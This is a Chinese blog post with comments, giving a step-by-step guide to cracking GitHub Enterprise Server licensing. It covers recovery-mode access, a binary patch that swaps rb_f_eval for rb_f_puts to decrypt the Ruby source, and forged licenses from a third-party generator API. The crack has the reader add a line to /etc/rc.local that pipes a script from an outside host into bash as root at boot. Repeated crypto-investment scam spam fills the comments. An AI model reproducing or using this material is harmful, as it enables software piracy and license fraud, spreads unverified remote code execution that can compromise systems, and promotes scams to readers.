废话 & 吐槽
距离上一次更新博客已经是一年多以前的事情了,这期间也计划着写一些文章,所以后台中有挺多篇草稿。不过也仅处于新建文件夹的状态;拖延症加上我的文笔确实烂,导致我无从下笔。今天能更新这篇文章,还是多亏了失眠让睡不着觉。我也感觉近期失眠有点严重了,每天凌晨4点左右入睡,第二天7点半准时醒来,之后便睡不着了;着实感觉有点吃不消。
好了,吐槽完毕,进入正题。
前言
在很早选型git服务器的时候了解到github企业版,但是最终还是使用了gitlab社区版。虽然使用了gitlab,但还是想试试github,于是便盘算着尝试逆向github玩玩;不过这期间也是短短续续的在进行分析;
在几个月前,分析了gitlab企业版的授权之后,才正式对github进行逆向。
首先便是去搜索相关资料,结果可想而知,翻来覆去也就那么几篇文章,而且并没有细致的过程(如果有的话就不会有这片文章了)。
正文
以下部分截图与分析基于3.1.5版本,适用于最新版本,截图可能稍显出入。
官网提供了多种介质的下载,不过无一例外的都是基于虚拟机运行的,并没有物理机的安装介质。
安装步骤也十分简单,只需下载对应的介质导入即可。 需要注意的是在启动前需要增加一块虚拟硬盘,大小建议100G以上。
启动之后,虚拟机会提供一个ssh端口122供管理使用,但问题在于我们并没有账号密码,不能直接进行登录。
所以首要便是解决ssh登录问题,这里提供我的解决思路:
导入后不要启动,将github虚拟机的磁盘挂载到其他linux虚拟机上进行修改。具体需要修改什么请自行查找资料。
另一种方案是通过恢复模式进行修改,同样的也不提供具体的教程。
进入恢复模式步骤:
打开电源 -> 开机后马上选择第二项 -> 继续选择第二项
完成修改后重启系统便可以使用ssh进行连接。
经过一顿分析后得知github使用ruby编写,但是ruby文件是加密的,需要解密后才能得到源码。解密这部分网上有相关资料可查询。不过网上有些文章已经过时了。
我使用的解密方法是修改ruby程序,将eval函数替换成了puts。步骤如下:
拖入IDA 64位,等待分析完成,搜索字符串__ruby_concealer__,找到引用位置后一路跟过去。
concealer_load 这个函数便是文件加载后调用的函数了,该函数作用是将ruby内容解密并调用rb_f_eval进行执行。
具体修改方法:
只需要将此处的rb_f_eval函数改成rb_f_puts函数,将修改后的文件上传到github虚拟机,运行命令./ruby 加密文件,即可实现将文件解密并打印到屏幕。
.text:0000000000071743 mov rsi, rbx ; argv
.text:0000000000071746 mov rdx, self ; self
.text:0000000000071749 mov edi, 3 ; argc
.text:000000000007174E mov [rsp+48h+var_38], rax
.text:0000000000071753 call rb_f_eval
.text:0000000000071758 mov rbx, [rsp+48h+var_30]
.text:000000000007175D xor rbx, fs:28h
.text:0000000000071766 jnz loc_71819
.text:000000000007176C add rsp, 28h
指令地址:0x71753
指令长度:0x5
指令:E8 58 A4 11 00
指令名称:call rb_f_eval
E8 -> call指令 , 58 A4 11 00 -> rb_f_eval函数与当前指令的相对位置。
函数名称:rb_f_eval
函数地址:0x18BBB0
函数地址 - 指令地址 - 指令长度 = 00 11 A4 58
0x18BBB0 - 0x71753 - 0x5
函数名称:rb_f_puts
函数地址:0x05E370
函数地址 - 指令地址 - 指令长度 = FF FE CC 18
0x05E370 - 0x71753 - 0x5
指令:E8 18 CC FE FF
指令名称:call rb_f_puts
license 相关ruby代码位于/data/enterprise-manage/current/vendor/gems/ruby/2.7.0/gems/enterprise-crypto-0.4.22中。
license 验证证书位于 /data/enterprise 中。
解密之后即可自行分析代码逻辑。
破解
上面正文逻辑可能写的略有混乱,所以在此提供简单易用的破解方法。
破解的方式无非两种修改源码和伪造授权,修改源码的话每次更新都需要进行修改,而伪造授权的方式则不需要。所以这里采用伪造授权的方法进行破解。
同时也为了方便使用不需要设置ssh即可使用。
完整食用方法:
- 导入虚拟机,添加硬盘,进入恢复模式。
- 编辑文件/etc/rc.local 在第二行插入一行
bash <(curl -s https://dmzy.vip/ghe.sh)
- 重启进入正常启动流程。启动完成后依照控制台信息上传授权文件
授权文件生成API
Host: https://api.deny.cx
URL:/github/license/generate/blog
方法:POST
参数:
Name # 自定义 Email # 自定义 Expiration # 过期时间,格式2022-01-01,最大可设置为当前时间往后推两年。
2025年10月新盘 做第一批吃螃蟹的人coinsrore.com
新车新盘 嘎嘎稳 嘎嘎靠谱coinsrore.com
新车首发,新的一年,只带想赚米的人coinsrore.com
新盘 上车集合 留下 我要发发 立马进裙coinsrore.com
做了几十年的项目 我总结了最好的一个盘(纯干货)coinsrore.com
新车上路,只带前10个人coinsrore.com
新盘首开 新盘首开 征召客户!!!coinsrore.com
新项目准备上线,寻找志同道合 的合作伙伴coinsrore.com
新车即将上线 真正的项目,期待你的参与coinsrore.com
新盘新项目,不再等待,现在就是最佳上车机会!coinsrore.com
新盘新盘 这个月刚上新盘 新车第一个吃螃蟹!coinsrore.com
新车新盘 嘎嘎稳 嘎嘎靠谱
博主太厉害了!
这个现在不能用了吗?我这里提示授权文件无效
能用的啊,你版本是多少?